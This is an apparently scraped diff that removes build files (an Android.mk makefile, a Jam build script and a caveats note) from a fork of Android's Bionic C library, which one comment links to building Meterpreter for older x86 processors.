arch-arm/bionic/sigsetjmp.S \
|
||||
arch-arm/bionic/strlen.c.arm \
|
||||
arch-arm/bionic/syscall.S \
|
||||
arch-arm/bionic/sigaction.c \
|
||||
arch-arm/bionic/__sig_restorer.S \
|
||||
string/memmove.c.arm \
|
||||
string/bcopy.c \
|
||||
string/strcmp.c \
|
||||
string/strncmp.c \
|
||||
unistd/socketcalls.c
|
||||
|
||||
# These files need to be arm so that gdbserver
|
||||
# can set breakpoints in them without messing
|
||||
# up any thumb code.
|
||||
libc_common_src_files += \
|
||||
bionic/pthread.c.arm \
|
||||
bionic/pthread-atfork.c.arm \
|
||||
bionic/pthread-timers.c.arm \
|
||||
bionic/ptrace.c.arm
|
||||
|
||||
# these are used by the static and dynamic versions of the libc
|
||||
# respectively
|
||||
libc_arch_static_src_files := \
|
||||
arch-arm/bionic/exidx_static.c
|
||||
|
||||
libc_arch_dynamic_src_files := \
|
||||
arch-arm/bionic/exidx_dynamic.c
|
||||
else # !arm
|
||||
|
||||
ifeq ($(TARGET_ARCH),x86)
|
||||
libc_common_src_files += \
|
||||
arch-x86/bionic/__get_sp.S \
|
||||
arch-x86/bionic/__get_tls.c \
|
||||
arch-x86/bionic/__set_tls.c \
|
||||
arch-x86/bionic/atomics_x86.S \
|
||||
arch-x86/bionic/clone.S \
|
||||
arch-x86/bionic/_exit_with_stack_teardown.S \
|
||||
arch-x86/bionic/setjmp.S \
|
||||
arch-x86/bionic/_setjmp.S \
|
||||
arch-x86/bionic/vfork.S \
|
||||
arch-x86/bionic/syscall.S \
|
||||
arch-x86/string/bcopy_wrapper.S \
|
||||
arch-x86/string/memcpy_wrapper.S \
|
||||
arch-x86/string/memmove_wrapper.S \
|
||||
arch-x86/string/bzero_wrapper.S \
|
||||
arch-x86/string/memcmp_wrapper.S \
|
||||
arch-x86/string/memset_wrapper.S \
|
||||
arch-x86/string/strcmp_wrapper.S \
|
||||
arch-x86/string/strncmp_wrapper.S \
|
||||
arch-x86/string/strlen.S \
|
||||
bionic/pthread.c \
|
||||
bionic/pthread-atfork.c \
|
||||
bionic/pthread-timers.c \
|
||||
bionic/ptrace.c
|
||||
|
||||
# this is needed for static versions of libc
|
||||
libc_arch_static_src_files := \
|
||||
arch-x86/bionic/dl_iterate_phdr_static.c
|
||||
|
||||
libc_arch_dynamic_src_files :=
|
||||
else # !x86
|
||||
|
||||
ifeq ($(TARGET_ARCH),sh)
|
||||
libc_common_src_files += \
|
||||
arch-sh/bionic/__get_pc.S \
|
||||
arch-sh/bionic/__get_sp.S \
|
||||
arch-sh/bionic/_exit_with_stack_teardown.S \
|
||||
arch-sh/bionic/_setjmp.S \
|
||||
arch-sh/bionic/atomics_sh.c \
|
||||
arch-sh/bionic/atomic_cmpxchg.S \
|
||||
arch-sh/bionic/clone.S \
|
||||
arch-sh/bionic/pipe.S \
|
||||
arch-sh/bionic/memcpy.S \
|
||||
arch-sh/bionic/memset.S \
|
||||
arch-sh/bionic/bzero.S \
|
||||
arch-sh/bionic/setjmp.S \
|
||||
arch-sh/bionic/sigsetjmp.S \
|
||||
arch-sh/bionic/syscall.S \
|
||||
arch-sh/bionic/memmove.S \
|
||||
arch-sh/bionic/__set_tls.c \
|
||||
arch-sh/bionic/__get_tls.c \
|
||||
arch-sh/bionic/ffs.S \
|
||||
string/bcopy.c \
|
||||
string/strcmp.c \
|
||||
string/strncmp.c \
|
||||
string/memcmp.c \
|
||||
string/strlen.c \
|
||||
bionic/pthread.c \
|
||||
bionic/pthread-atfork.c \
|
||||
bionic/pthread-timers.c \
|
||||
bionic/ptrace.c \
|
||||
unistd/socketcalls.c
|
||||
endif # sh
|
||||
|
||||
endif # !x86
|
||||
endif # !arm
|
||||
|
||||
# Define some common cflags
|
||||
# ========================================================
|
||||
libc_common_cflags := \
|
||||
-DWITH_ERRLIST \
|
||||
-DANDROID_CHANGES \
|
||||
-DUSE_LOCKS \
|
||||
-DREALLOC_ZERO_BYTES_FREES \
|
||||
-D_LIBC=1 \
|
||||
-DSOFTFLOAT \
|
||||
-DFLOATING_POINT \
|
||||
-DNEED_PSELECT=1 \
|
||||
-DINET6 \
|
||||
-I$(LOCAL_PATH)/private \
|
||||
-DUSE_DL_PREFIX \
|
||||
-DPOSIX_MISTAKE
|
||||
|
||||
# these macro definitions are required to implement the
|
||||
# 'timezone' and 'daylight' global variables, as well as
|
||||
# properly update the 'tm_gmtoff' field in 'struct tm'.
|
||||
#
|
||||
libc_common_cflags += \
|
||||
-DTM_GMTOFF=tm_gmtoff \
|
||||
-DUSG_COMPAT=1
|
||||
|
||||
ifeq ($(strip $(DEBUG_BIONIC_LIBC)),true)
|
||||
libc_common_cflags += -DDEBUG
|
||||
endif
|
||||
|
||||
ifeq ($(TARGET_ARCH),arm)
|
||||
libc_common_cflags += -fstrict-aliasing
|
||||
libc_crt_target_cflags := -mthumb-interwork
|
||||
#
|
||||
# Define HAVE_ARM_TLS_REGISTER macro to indicate to the C library
|
||||
# that it should access the hardware TLS register directly in
|
||||
# private/bionic_tls.h
|
||||
#
|
||||
# The value must match your kernel configuration
|
||||
#
|
||||
ifeq ($(ARCH_ARM_HAVE_TLS_REGISTER),true)
|
||||
libc_common_cflags += -DHAVE_ARM_TLS_REGISTER
|
||||
endif
|
||||
else # !arm
|
||||
ifeq ($(TARGET_ARCH),x86)
|
||||
libc_crt_target_cflags := -m32
|
||||
|
||||
# Enable recent IA friendly memory routines (such as for Atom)
|
||||
# These will not work on the earlier x86 machines
|
||||
#libc_common_cflags += -mtune=i686 -DUSE_SSSE3 -DUSE_SSE2
|
||||
|
||||
# egypt: compile for 386 so meterpreter will have a chance of working on
|
||||
# older processors
|
||||
libc_common_cflags += -march=i386
|
||||
endif # x86
|
||||
endif # !arm
|
||||
|
||||
# Define some common includes
|
||||
# ========================================================
|
||||
libc_common_c_includes := \
|
||||
$(LOCAL_PATH)/stdlib \
|
||||
$(LOCAL_PATH)/string \
|
||||
$(LOCAL_PATH)/stdio
|
||||
|
||||
# Needed to access private/__dso_handle.S from
|
||||
# crtbegin_xxx.S and crtend_xxx.S
|
||||
#
|
||||
libc_crt_target_cflags += -I$(LOCAL_PATH)/private
|
||||
|
||||
# Define the libc run-time (crt) support object files that must be built,
|
||||
# which are needed to build all other objects (shared/static libs and
|
||||
# executables)
|
||||
# ==========================================================================
|
||||
|
||||
ifneq ($(filter arm x86,$(TARGET_ARCH)),)
|
||||
# ARM and x86 need crtbegin_so/crtend_so.
|
||||
#
|
||||
# For x86, the .init section must point to a function that calls all
|
||||
# entries in the .ctors section. (on ARM this is done through the
|
||||
# .init_array section instead).
|
||||
#
|
||||
# For both platforms, the .fini_array section must point to a function
|
||||
# that will call __cxa_finalize(&__dso_handle) in order to ensure that
|
||||
# static C++ destructors are properly called on dlclose().
|
||||
#
|
||||
GEN := $(TARGET_OUT_STATIC_LIBRARIES)/crtbegin_so.o
|
||||
$(GEN): $(LOCAL_PATH)/arch-$(TARGET_ARCH)/bionic/crtbegin_so.S
|
||||
@mkdir -p $(dir $@)
|
||||
$(TARGET_CC) $(libc_crt_target_cflags) -o $@ -c $<
|
||||
ALL_GENERATED_SOURCES += $(GEN)
|
||||
|
||||
GEN := $(TARGET_OUT_STATIC_LIBRARIES)/crtend_so.o
|
||||
$(GEN): $(LOCAL_PATH)/arch-$(TARGET_ARCH)/bionic/crtend_so.S
|
||||
@mkdir -p $(dir $@)
|
||||
$(TARGET_CC) $(libc_crt_target_cflags) -o $@ -c $<
|
||||
ALL_GENERATED_SOURCES += $(GEN)
|
||||
endif # TARGET_ARCH == x86
|
||||
|
||||
|
||||
GEN := $(TARGET_OUT_STATIC_LIBRARIES)/crtbegin_static.o
|
||||
$(GEN): $(LOCAL_PATH)/arch-$(TARGET_ARCH)/bionic/crtbegin_static.S
|
||||
@mkdir -p $(dir $@)
|
||||
$(TARGET_CC) $(libc_crt_target_cflags) -o $@ -c $<
|
||||
ALL_GENERATED_SOURCES += $(GEN)
|
||||
|
||||
GEN := $(TARGET_OUT_STATIC_LIBRARIES)/crtbegin_dynamic.o
|
||||
$(GEN): $(LOCAL_PATH)/arch-$(TARGET_ARCH)/bionic/crtbegin_dynamic.S
|
||||
@mkdir -p $(dir $@)
|
||||
$(TARGET_CC) $(libc_crt_target_cflags) -o $@ -c $<
|
||||
ALL_GENERATED_SOURCES += $(GEN)
|
||||
|
||||
|
||||
# We rename crtend.o to crtend_android.o to avoid a
|
||||
# name clash between gcc and bionic.
|
||||
GEN := $(TARGET_OUT_STATIC_LIBRARIES)/crtend_android.o
|
||||
$(GEN): $(LOCAL_PATH)/arch-$(TARGET_ARCH)/bionic/crtend.S
|
||||
@mkdir -p $(dir $@)
|
||||
$(TARGET_CC) $(libc_crt_target_cflags) -o $@ -c $<
|
||||
ALL_GENERATED_SOURCES += $(GEN)
|
||||
|
||||
|
||||
# To enable malloc leak check for statically linked programs, add
|
||||
# "WITH_MALLOC_CHECK_LIBC_A := true" to buildspec.mk
|
||||
WITH_MALLOC_CHECK_LIBC_A := $(strip $(WITH_MALLOC_CHECK_LIBC_A))
|
||||
|
||||
# ========================================================
|
||||
# libc_common.a
|
||||
# ========================================================
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := $(libc_common_src_files)
|
||||
LOCAL_CFLAGS := $(libc_common_cflags)
|
||||
LOCAL_C_INCLUDES := $(libc_common_c_includes)
|
||||
LOCAL_MODULE := libc_common
|
||||
LOCAL_SYSTEM_SHARED_LIBRARIES :=
|
||||
|
||||
include $(BUILD_STATIC_LIBRARY)
|
||||
|
||||
|
||||
# ========================================================
|
||||
# libc_nomalloc.a
|
||||
# ========================================================
|
||||
#
|
||||
# This is a version of the static C library that does not
|
||||
# include malloc. It's useful in situations when calling
|
||||
# the user wants to provide their own malloc implementation,
|
||||
# or wants to explicitly disallow the use of the use of malloc,
|
||||
# like the dynamic loader.
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := \
|
||||
$(libc_arch_static_src_files) \
|
||||
bionic/libc_init_static.c
|
||||
|
||||
LOCAL_C_INCLUDES := $(libc_common_c_includes)
|
||||
LOCAL_CFLAGS := $(libc_common_cflags)
|
||||
|
||||
LOCAL_MODULE := libc_nomalloc
|
||||
LOCAL_WHOLE_STATIC_LIBRARIES := libc_common
|
||||
LOCAL_SYSTEM_SHARED_LIBRARIES :=
|
||||
|
||||
include $(BUILD_STATIC_LIBRARY)
|
||||
|
||||
|
||||
# ========================================================
|
||||
# libc.a
|
||||
# ========================================================
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_SRC_FILES := \
|
||||
$(libc_arch_static_src_files) \
|
||||
bionic/dlmalloc.c \
|
||||
bionic/malloc_debug_common.c \
|
||||
bionic/libc_init_static.c
|
||||
|
||||
LOCAL_CFLAGS := $(libc_common_cflags) \
|
||||
-DLIBC_STATIC
|
||||
LOCAL_C_INCLUDES := $(libc_common_c_includes)
|
||||
LOCAL_MODULE := libc
|
||||
LOCAL_WHOLE_STATIC_LIBRARIES := libc_common
|
||||
LOCAL_SYSTEM_SHARED_LIBRARIES :=
|
||||
|
||||
include $(BUILD_STATIC_LIBRARY)
|
||||
|
||||
|
||||
# ========================================================
|
||||
# libc.so
|
||||
# ========================================================
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_CFLAGS := $(libc_common_cflags)
|
||||
LOCAL_C_INCLUDES := $(libc_common_c_includes)
|
||||
|
||||
LOCAL_SRC_FILES := \
|
||||
$(libc_arch_dynamic_src_files) \
|
||||
bionic/dlmalloc.c \
|
||||
bionic/malloc_debug_common.c \
|
||||
bionic/libc_init_dynamic.c
|
||||
|
||||
LOCAL_MODULE:= libc
|
||||
|
||||
# WARNING: The only library libc.so should depend on is libdl.so! If you add other libraries,
|
||||
# make sure to add -Wl,--exclude-libs=libgcc.a to the LOCAL_LDFLAGS for those libraries. This
|
||||
# ensures that symbols that are pulled into those new libraries from libgcc.a are not declared
|
||||
# external; if that were the case, then libc would not pull those symbols from libgcc.a as it
|
||||
# should, instead relying on the external symbols from the dependent libraries. That would
|
||||
# create an "cloaked" dependency on libgcc.a in libc though the libraries, which is not what
|
||||
# you wanted!
|
||||
|
||||
LOCAL_SHARED_LIBRARIES := libdl
|
||||
LOCAL_WHOLE_STATIC_LIBRARIES := libc_common
|
||||
LOCAL_SYSTEM_SHARED_LIBRARIES :=
|
||||
|
||||
include $(BUILD_SHARED_LIBRARY)
|
||||
|
||||
|
||||
# For all builds, except for the -user build we will enable memory
|
||||
# allocation checking (including memory leaks, buffer overwrites, etc.)
|
||||
# Note that all these checks are also controlled by env. settings
|
||||
# that can enable, or disable specific checks. Note also that some of
|
||||
# the checks are available only in emulator and are implemeted in
|
||||
# libc_malloc_qemu_instrumented.so.
|
||||
ifneq ($(TARGET_BUILD_VARIANT),user)
|
||||
|
||||
# ========================================================
|
||||
# libc_malloc_debug_leak.so
|
||||
# ========================================================
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_CFLAGS := \
|
||||
$(libc_common_cflags) \
|
||||
-DMALLOC_LEAK_CHECK
|
||||
|
||||
LOCAL_C_INCLUDES := $(libc_common_c_includes)
|
||||
|
||||
LOCAL_SRC_FILES := \
|
||||
bionic/malloc_debug_leak.c
|
||||
|
||||
LOCAL_MODULE:= libc_malloc_debug_leak
|
||||
|
||||
LOCAL_SHARED_LIBRARIES := libc
|
||||
LOCAL_WHOLE_STATIC_LIBRARIES := libc_common
|
||||
LOCAL_SYSTEM_SHARED_LIBRARIES :=
|
||||
LOCAL_ALLOW_UNDEFINED_SYMBOLS := true
|
||||
# Don't prelink
|
||||
LOCAL_PRELINK_MODULE := false
|
||||
# Don't install on release build
|
||||
LOCAL_MODULE_TAGS := eng debug
|
||||
|
||||
include $(BUILD_SHARED_LIBRARY)
|
||||
|
||||
|
||||
# ========================================================
|
||||
# libc_malloc_debug_qemu.so
|
||||
# ========================================================
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_CFLAGS := \
|
||||
$(libc_common_cflags) \
|
||||
-DMALLOC_QEMU_INSTRUMENT
|
||||
|
||||
LOCAL_C_INCLUDES := $(libc_common_c_includes)
|
||||
|
||||
LOCAL_SRC_FILES := \
|
||||
bionic/malloc_debug_qemu.c
|
||||
|
||||
LOCAL_MODULE:= libc_malloc_debug_qemu
|
||||
|
||||
LOCAL_SHARED_LIBRARIES := libc
|
||||
LOCAL_WHOLE_STATIC_LIBRARIES := libc_common
|
||||
LOCAL_SYSTEM_SHARED_LIBRARIES :=
|
||||
# Don't prelink
|
||||
LOCAL_PRELINK_MODULE := false
|
||||
# Don't install on release build
|
||||
LOCAL_MODULE_TAGS := eng debug
|
||||
|
||||
include $(BUILD_SHARED_LIBRARY)
|
||||
|
||||
endif #!user
|
||||
|
||||
|
||||
# ========================================================
|
||||
include $(call all-makefiles-under,$(LOCAL_PATH))
|
|
@ -1,26 +0,0 @@
|
|||
Bionic is a very small C library because we have decided to *not* implement various features
|
||||
of the POSIX standard. we only add functions on a as-needed basis, and there are a few things
|
||||
we wish we'll never put in there.
|
||||
|
||||
this file is here to document explicitely what we don't want to support in Bionic:
|
||||
|
||||
- C++ exceptions are not supported. on embedded systems, they lead to extremely larger and
|
||||
slower code for no good reason (even when so-called zero-cost exception schemes are
|
||||
implemented, they enforce very large numbers of registers spills to the stack, even
|
||||
in functions that do not throw an exception themselves).
|
||||
|
||||
- pthread cancellation is *not* supported. this seemingly simple "feature" is the source
|
||||
of much bloat and complexity in a C library. Besides, you'd better write correct
|
||||
multi-threaded code instead of relying on this stuff.
|
||||
|
||||
- pthread_once() doesn't support C++ exceptions thrown from the init function, or the init
|
||||
function doing a fork().
|
||||
|
||||
- locales and wide characters are not supported. we use ICU for all this i18n stuff, which
|
||||
is much better than the ill-designed related C libraries functions.
|
||||
|
||||
- at the moment, several user-account-related functions like getpwd are stubbed and return
|
||||
the values corresponding to root. this will be fixed when we'll be able to have distinct
|
||||
users on the Android filesystem. :-(
|
||||
|
||||
see bionic/stubs.c for the details
|
|
@ -1,441 +0,0 @@
|
|||
# This file is used to build the Bionic library with the Jam build
|
||||
# tool. For info, see www.perforce.com/jam/jam.html
|
||||
#
|
||||
|
||||
BIONIC_TOP ?= $(DOT) ;
|
||||
|
||||
DEBUG = 1 ;
|
||||
|
||||
# pattern used for automatic heade inclusion detection
|
||||
HDRPATTERN = "^[ ]*#[ ]*include[ ]*[<\"]([^\">]*)[\">].*$" ;
|
||||
|
||||
|
||||
# debugging support, simply define the DEBUG variable to activate verbose output
|
||||
rule Debug
|
||||
{
|
||||
if $(DEBUG) {
|
||||
Echo $(1) ;
|
||||
}
|
||||
}
|
||||
|
||||
# return all elements from $(1) that are not in $(2)
|
||||
rule Filter list : filter
|
||||
{
|
||||
local result = ;
|
||||
local item ;
|
||||
for item in $(list) {
|
||||
if ! $(item) in $(filter) {
|
||||
result += $(item) ;
|
||||
}
|
||||
}
|
||||
return $(result) ;
|
||||
}
|
||||
|
||||
|
||||
# reverse a list of elements
|
||||
rule Reverse list
|
||||
{
|
||||
local result = ;
|
||||
local item ;
|
||||
|
||||
for item in $(list) {
|
||||
result = $(item) $(result) ;
|
||||
}
|
||||
return $(result) ;
|
||||
}
|
||||
|
||||
|
||||
# decompose a path into a list of elements
|
||||
rule PathDecompose dir
|
||||
{
|
||||
local result ;
|
||||
|
||||
while $(dir:D)
|
||||
{
|
||||
if ! $(dir:BS) { # for rooted paths like "/foo"
|
||||
break ;
|
||||
}
|
||||
result = $(dir:BS) $(result) ;
|
||||
dir = $(dir:D) ;
|
||||
}
|
||||
result = $(dir) $(result) ;
|
||||
return $(result) ;
|
||||
}
|
||||
|
||||
|
||||
# simply a file path, i.e. get rid of . or .. when possible
|
||||
rule _PathSimplify dir
|
||||
{
|
||||
local result = ;
|
||||
local dir2 d ;
|
||||
|
||||
dir = [ PathDecompose $(dir) ] ;
|
||||
|
||||
# get rid of any single dot
|
||||
dir2 = ;
|
||||
for d in $(dir) {
|
||||
if $(d) = "." {
|
||||
continue ;
|
||||
}
|
||||
dir2 += $(d) ;
|
||||
}
|
||||
|
||||
# get rid of .. when possible
|
||||
for d in $(dir2) {
|
||||
if $(d) = ".." && $(result) {
|
||||
result = $(result[2-]) ;
|
||||
}
|
||||
else
|
||||
result = $(d) $(result) ;
|
||||
}
|
||||
|
||||
# now invert the result
|
||||
result = [ Reverse $(result) ] ;
|
||||
if ! $(result) {
|
||||
result = "." ;
|
||||
}
|
||||
return $(result:J="/") ;
|
||||
}
|
||||
|
||||
|
||||
rule PathSimplify dirs
|
||||
{
|
||||
local result ;
|
||||
local d ;
|
||||
for d in $(dirs) {
|
||||
result += [ _PathSimplify $(d) ] ;
|
||||
}
|
||||
return $(result) ;
|
||||
}
|
||||
|
||||
|
||||
# retrieve list of subdirectories
|
||||
rule ListSubDirs paths
|
||||
{
|
||||
local result = ;
|
||||
local entry ;
|
||||
for entry in [ Glob $(paths) : * ] {
|
||||
if ! $(entry:S) {
|
||||
result += $(entry) ;
|
||||
}
|
||||
}
|
||||
return [ PathSimplify $(result) ] ;
|
||||
}
|
||||
|
||||
|
||||
# retrieve list of sources in a given directory
|
||||
rule ListSources path
|
||||
{
|
||||
return [ Glob $(path) : *.S *.c ] ;
|
||||
}
|
||||
|
||||
|
||||
# find the prebuilt directory
|
||||
#
|
||||
if ! $(TOP) {
|
||||
Echo "Please define TOP as the root of your device build tree" ;
|
||||
Exit ;
|
||||
}
|
||||
|
||||
Debug "OS is" $(OS) ;
|
||||
Debug "CPU is" $(CPU) ;
|
||||
|
||||
if $(OS) = LINUX
|
||||
{
|
||||
PREBUILT = $(TOP)/prebuilt/Linux ;
|
||||
}
|
||||
else if $(OS) = MACOSX
|
||||
{
|
||||
switch $(CPU) {
|
||||
case i386 : PREBUILT = $(TOP)/prebuilt/darwin-x86 ; break ;
|
||||
case ppc : PREBUILT = $(TOP)/prebuilt/darwin-ppc ; break ;
|
||||
case * : Echo "unsupported CPU" "$(CPU) !!" ;
|
||||
Echo "Please contact digit@google.com for help" ;
|
||||
Exit ;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Echo "Unsupported operating system" $(OS) ;
|
||||
Echo "Please contact digit@google.com for help" ;
|
||||
Exit ;
|
||||
}
|
||||
|
||||
Debug "TOP is" $(TOP) ;
|
||||
Debug "PREBUILT is" $(PREBUILT) ;
|
||||
|
||||
|
||||
# check architectures and setup toolchain variables
|
||||
#
|
||||
SUPPORTED_ARCHS = x86 arm ;
|
||||
|
||||
ARCH ?= $(SUPPORTED_ARCHS) ;
|
||||
|
||||
if ! $(ARCH) in $(SUPPORTED_ARCHS) {
|
||||
Echo "The variable ARCH contains an unsupported value, use one or more of these instead" ;
|
||||
Echo "separated by spaces:" $(SUPPORTED_ARCHS) ;
|
||||
Exit ;
|
||||
}
|
||||
|
||||
x86_TOOLSET_PREFIX ?= "" ;
|
||||
arm_TOOLSET_PREFIX ?= $(TOP)/prebuilt/Linux/toolchain-4.1.1/bin/arm-elf- ;
|
||||
|
||||
for arch in $(ARCH) {
|
||||
CC_$(arch) = $($(arch)_TOOLSET_PREFIX)gcc ;
|
||||
C++_$(arch) = $($(arch)_TOOLSET_PREFIX)g++ ;
|
||||
AR_$(arch) = $($(arch)_TOOLSET_PREFIX)ar ;
|
||||
}
|
||||
|
||||
|
||||
# the list of arch-independent source subdirectories
|
||||
BIONIC_SRC_SUBDIRS = string ;
|
||||
BIONIC_x86_SUBDIRS = ;
|
||||
BIONIC_arm_SUBDIRS = ;
|
||||
|
||||
CFLAGS = -O0 -g -W ;
|
||||
|
||||
|
||||
|
||||
# find sources in a given list of subdirectories
|
||||
rule FindSources dirs
|
||||
{
|
||||
local dir ;
|
||||
|
||||
for dir in $(dirs)
|
||||
{
|
||||
local LOCAL_SRC NO_LOCAL_SRC ;
|
||||
|
||||
if [ Glob $(dir) : rules.jam ] {
|
||||
include $(dir)/rules.jam ;
|
||||
if $(LOCAL_SRC) {
|
||||
_sources = $(LOCAL_SRC) ;
|
||||
}
|
||||
else {
|
||||
_sources = [ Glob $(dir) : *.S *.c ] ;
|
||||
_sources = $(_sources:BS) ;
|
||||
}
|
||||
if $(NO_LOCAL_SRC) {
|
||||
_sources = [ Filter $(_sources) : $(NO_LOCAL_SRC) ] ;
|
||||
}
|
||||
sources += $(dir)/$(_sources) ;
|
||||
}
|
||||
else
|
||||
sources += [ ListSources $(dir) ] ;
|
||||
}
|
||||
}
|
||||
|
||||
# Compile a given object file from a source
|
||||
rule Compile object : source
|
||||
{
|
||||
Depends $(object) : $(source) ;
|
||||
Depends bionic : $(object) ;
|
||||
Clean clean : $(object) ;
|
||||
|
||||
MakeLocate $(object) : $(OUT) ;
|
||||
|
||||
|
||||
CC on $(object) = $(CC_$(arch)) ;
|
||||
CFLAGS on $(object) = $(CFLAGS) ;
|
||||
INCLUDES on $(object) = $(INCLUDES) ;
|
||||
DEFINES on $(object) = $(DEFINES) ;
|
||||
|
||||
HDRRULE on $(>) = HdrRule ;
|
||||
HDRSCAN on $(>) = $(HDRPATTERN) ;
|
||||
HDRSEARCH on $(>) = $(INCLUDES) ;
|
||||
HDRGRIST on $(>) = $(HDRGRIST) ;
|
||||
}
|
||||
|
||||
|
||||
actions Compile
|
||||
{
|
||||
$(CC) -c -o $(1) $(CFLAGS) -I$(INCLUDES) -D$(DEFINES) $(2)
|
||||
}
|
||||
|
||||
|
||||
rule RmTemps
|
||||
{
|
||||
Temporary $(2) ;
|
||||
}
|
||||
|
||||
actions quietly updated piecemeal together RmTemps
|
||||
{
|
||||
rm -f $(2)
|
||||
}
|
||||
|
||||
actions Archive
|
||||
{
|
||||
$(AR) ru $(1) $(2)
|
||||
}
|
||||
|
||||
rule Library library : objects
|
||||
{
|
||||
local obj ;
|
||||
|
||||
if ! $(library:S) {
|
||||
library = $(library:S=.a) ;
|
||||
}
|
||||
library = $(library:G=<$(arch)>) ;
|
||||
|
||||
Depends all : $(library) ;
|
||||
|
||||
if ! $(library:D) {
|
||||
MakeLocate $(library) $(library)($(objects:BS)) : $(OUT) ;
|
||||
}
|
||||
|
||||
Depends $(library) : $(library)($(objects:BS)) ;
|
||||
for obj in $(objects) {
|
||||
Depends $(library)($(obj:BS)) : $(obj) ;
|
||||
}
|
||||
|
||||
Clean clean : $(library) ;
|
||||
|
||||
AR on $(library) = $(AR_$(arch)) ;
|
||||
Archive $(library) : $(objects) ;
|
||||
|
||||
RmTemps $(library) : $(objects) ;
|
||||
}
|
||||
|
||||
|
||||
rule ProcessDir
|
||||
{
|
||||
local CFLAGS = $(CFLAGS) ;
|
||||
local DEFINES = $(DEFINES) ;
|
||||
local INCLUDES = $(INCLUDES) ;
|
||||
local local_rules = [ Glob $(1) : rules.jam ] ;
|
||||
local source sources ;
|
||||
|
||||
if $(local_rules) {
|
||||
local LOCAL_CFLAGS LOCAL_DEFINES LOCAL_INCLUDES LOCAL_SRC NO_LOCAL_SRC ;
|
||||
|
||||
include $(local_rules) ;
|
||||
CFLAGS += $(LOCAL_CFLAGS) ;
|
||||
DEFINES += $(LOCAL_DEFINES) ;
|
||||
INCLUDES += $(LOCAL_INCLUDES) ;
|
||||
|
||||
if $(LOCAL_SRC) {
|
||||
sources = $(LOCAL_SRC) ;
|
||||
}
|
||||
else {
|
||||
sources = [ Glob $(1) : *.S *.c ] ;
|
||||
sources = $(sources:BS) ;
|
||||
}
|
||||
|
||||
if $(NO_LOCAL_SRC) {
|
||||
sources = [ Filter $(sources) : $(NO_LOCAL_SRC) ] ;
|
||||
}
|
||||
|
||||
sources = $(1)/$(sources) ;
|
||||
}
|
||||
else
|
||||
sources = [ Glob $(1) : *.S *.c ] ;
|
||||
|
||||
for source in $(sources) {
|
||||
local name = $(source:B) ;
|
||||
|
||||
if $(source:S) = ".S" {
|
||||
# record the list of assembler sources
|
||||
ASSEMBLER_SOURCES += $(name) ;
|
||||
}
|
||||
else if $(source:S) = ".c" && $(name) in $(ASSEMBLER_SOURCES) {
|
||||
# skip C source file if corresponding assembler exists
|
||||
continue ;
|
||||
}
|
||||
|
||||
objname = <$(arch)>$(name).o ;
|
||||
|
||||
Compile $(objname) : $(source) ;
|
||||
ALL_OBJECTS += $(objname) ;
|
||||
}
|
||||
}
|
||||
|
||||
rule ProcessDirs
|
||||
{
|
||||
local dir ;
|
||||
for dir in $(1) {
|
||||
ProcessDir $(dir) ;
|
||||
}
|
||||
}
|
||||
|
||||
INCLUDES_x86 = /usr/src/linux/include ;
|
||||
|
||||
INCLUDES_arm = ../kernel_headers
|
||||
include/arch/arm
|
||||
include/bits32
|
||||
;
|
||||
|
||||
INCLUDES = include stdio string stdlib .
|
||||
../msun/include
|
||||
;
|
||||
|
||||
DEFINES = USE_LOCKS
|
||||
ANDROID_CHANGES
|
||||
REALLOC_ZERO_BYTES_FREES
|
||||
_LIBC=1
|
||||
SOFTFLOAT
|
||||
FLOATING_POINT
|
||||
NEED_PSELECT=1
|
||||
ANDROID
|
||||
;
|
||||
|
||||
CFLAGS_x86 = -m32 -march=i386 -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
|
||||
|
||||
|
||||
for arch in $(ARCH)
|
||||
{
|
||||
local ARCH_DIR = $(BIONIC_TOP)/arch-$(arch) ;
|
||||
local INCLUDES = $(INCLUDES_$(arch)) $(ARCH_DIR)/include $(INCLUDES) ;
|
||||
local DEFINES = $(DEFINES_$(arch)) $(DEFINES) ARCH=$(arch) ;
|
||||
local CFLAGS = $(CFLAGS) $(CFLAGS_$(arch)) ;
|
||||
local OUT = out/$(arch) ;
|
||||
local ASSEMBLER_SOURCES ALL_OBJECTS ;
|
||||
|
||||
ProcessDirs [ ListSubDirs $(ARCH_DIR) ] ;
|
||||
ProcessDirs stdlib stdio unistd string tzcode inet ;
|
||||
ProcessDirs [ ListSubDirs netbsd ] ;
|
||||
ProcessDirs bionic ;
|
||||
|
||||
Library bionic : $(ALL_OBJECTS) ;
|
||||
}
|
||||
|
||||
BIONIC_SEARCH = $(BIONIC_TOP)/include ;
|
||||
|
||||
|
||||
|
||||
# /HdrRule source : headers ;
|
||||
#
|
||||
# Arranges the proper dependencies when the file _source_ includes the files
|
||||
# _headers_ through the #include C preprocessor directive
|
||||
#
|
||||
# this rule is not intendend to be called explicitely. It is called
|
||||
# automatically during header scanning on sources handled by the @Object
|
||||
# rule (e.g. sources in @Main or @Library rules)
|
||||
#
|
||||
rule HdrRule
|
||||
{
|
||||
# HdrRule source : headers ;
|
||||
|
||||
# N.B. This rule is called during binding, potentially after
|
||||
# the fate of many targets has been determined, and must be
|
||||
# used with caution: don't add dependencies to unrelated
|
||||
# targets, and don't set variables on $(<).
|
||||
|
||||
# Tell Jam that anything depending on $(<) also depends on $(>),
|
||||
# set SEARCH so Jam can find the headers, but then say we don't
|
||||
# care if we can't actually find the headers (they may have been
|
||||
# within ifdefs),
|
||||
|
||||
local s = $(>:G=$(HDRGRIST:E)) ;
|
||||
|
||||
Includes $(<) : $(s) ;
|
||||
SEARCH on $(s) = $(HDRSEARCH) ;
|
||||
NoCare $(s) ;
|
||||
|
||||
# Propagate on $(<) to $(>)
|
||||
|
||||
HDRSEARCH on $(s) = $(HDRSEARCH) ;
|
||||
HDRSCAN on $(s) = $(HDRSCAN) ;
|
||||
HDRRULE on $(s) = $(HDRRULE) ;
|
||||
HDRGRIST on $(s) = $(HDRGRIST) ;
|
||||
}
|
||||
|
||||
|
|
@ -1,382 +0,0 @@
|
|||
|
||||
Copyright (c) 2005-2008, The Android Open Source Project
|
||||
